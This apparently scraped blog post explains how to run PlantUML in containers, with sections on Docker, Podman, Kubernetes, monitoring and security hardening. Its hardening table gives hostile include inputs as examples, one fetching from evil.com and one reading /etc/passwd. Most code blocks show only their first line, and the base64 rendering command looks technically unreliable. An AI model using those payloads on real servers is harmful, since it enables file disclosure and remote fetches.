PlantUML in containers: Docker / Podman / multi-version isolation
PlantUML deployment shape depends on usage scale. This is the trade-off between CLI, Docker, Podman, Kubernetes sidecar, plus security hardening, performance monitoring, and multi-version isolation.
Three common deployment shapes
Shape A: CLI one-shot render
For CI, ad-hoc tasks, personal scripts.
1 | docker run --rm \ |
Key flags:
--rm: drop container after render — no garbage-v: mount.pumldirectory into container-u $(id -u):$(id -g): container user matches host — file permissions stay correct-failfast2: bail on first error (CI must have this — otherwise rendering 100 diagrams, the 50th failing one will keep going)
Shape B: HTTP server (team shared)
For team wiki, CI as a service.
1 | docker run -d \ |
Then:
1 | curl "http://localhost:8080/svg/~1$(cat diagram.puml | base64 -w0 | sed 's/+/-/g;s/\//_/g/')" |
Returns SVG. ~1 is the HUFFMAN encoding prefix (plantuml.com default post-2025).
Internal deployment — swap localhost:8080 for plantuml.internal.company.com:8080. Confluence / Jira / Notion can all point at it.
Shape C: Kubernetes sidecar (inside microservices)
1 | # deployment.yaml |
API service and plantuml share the same Pod, sharing localhost network. Benefits:
- No external IP, internal access is safe
- API dies → plantuml restarts with it
- plantuml-server memory footprint is tiny (<500MB), perfectly fine as sidecar
Multi-version isolation
A legacy project uses PlantUML features only available before v1.2018 (!include semantics), new project uses the latest. Two servers:
1 | # legacy |
Business code picks the endpoint based on need:
1 | def render_puml(puml_text: str, legacy: bool = False) -> bytes: |
Podman (rootless daemon)
Docker Desktop on macOS/Windows needs a daemon. Podman is daemonless:
1 | # start |
In CI use rootless Podman, runs as non-root, safer:
1 | # .github/workflows/diagrams.yml |
:Z is SELinux relabel — rootless Podman on RHEL/CentOS can mount host directories.
Resource limits
PlantUML single-render memory can blow up — especially diagrams with !include pulling multiple stdlibs.
1 | docker run -d --name plantuml \ |
K8s:
1 | resources: |
Monitor render time > 5 seconds and alert — someone probably added a !include http://... (network include freezes the whole server).
Security hardening
| Risk | Hardening |
|---|---|
!include http://evil.com/leak.puml fetches malicious file |
PLANTUML_SECURITY_PROFILE=strict blocks remote include |
!include file:///etc/passwd reads host files |
strict also blocks local file reads |
| SSRF / DoS | Add nginx rate limit, single-IP requests per second |
| Server exposed publicly and abused | Firewall only allows internal; Cloudflare Access for auth |
| Sensitive info in cached images | --rm deletes container after render |
| PlantUML itself has CVE | Rebuild with latest plantuml/plantuml-server:tomcat monthly |
Full strict profile:
1 | docker run -d --name plantuml \ |
DISABLE_INCLUDE=truecompletely disables includeLIMIT_SIZE=8192max 8MB output per diagram
Monitoring
1 | # prometheus.yml scrape config |
PlantUML server ships Prometheus endpoint:
1 | curl http://localhost:8080/metrics |
Key metrics:
plantuml_request_total: render requestsplantuml_render_duration_seconds: render time (should be < 1s)plantuml_memory_usage_bytes: memory used
Alert rules:
1 | groups: |
Reverse proxy (Nginx)
1 | # /etc/nginx/conf.d/plantuml.conf |
Input is immutable — same puml text always produces same SVG. Cache hit ratio should be 99%+.
Helm / Argo CD
When the team grows, manual kubectl apply is error-prone. Helm chart:
1 | # values.yaml |
1 | helm install plantuml ./plantuml-chart -n plantuml --create-namespace |
Production uses Argo CD to sync Git → cluster. PlantUML config is fully GitOps.
Field foot-guns
- Docker mount permission wrong: container runs as root, generated files are owned by root on host, normal user can’t read them. Use
-u $(id -u):$(id -g). - PlantUML server memory leak: some diagrams with large
!includefiles don’t release memory after render — OOM after 3 days. Limit--memory=1g+ periodicdocker restart. - HTTP server slow: default tomcat config is single-threaded; 100 concurrent requests queue up. Switch to Undertow or add nginx upstream.
- Network include hangs: developer uses
!include http://..., server-side fetch times out. strict profile outright forbids it, forcing local include. - PlantUML version drift:
!includebehavior differs between v1.2020 and v1.2024. Pin versions, write container tag explicitly:plantuml/plantuml-server:tomcat-v1.2024.7.
- Title: PlantUML in containers: Docker / Podman / multi-version isolation
- Author: puml.online
- Created at : 2026-07-30 16:45:00
- Updated at : 2026-08-14 21:34:29
- Link: https://puml.online/blog/plantuml-docker-deployment-en/
- License: This work is licensed under CC BY-NC-SA 4.0.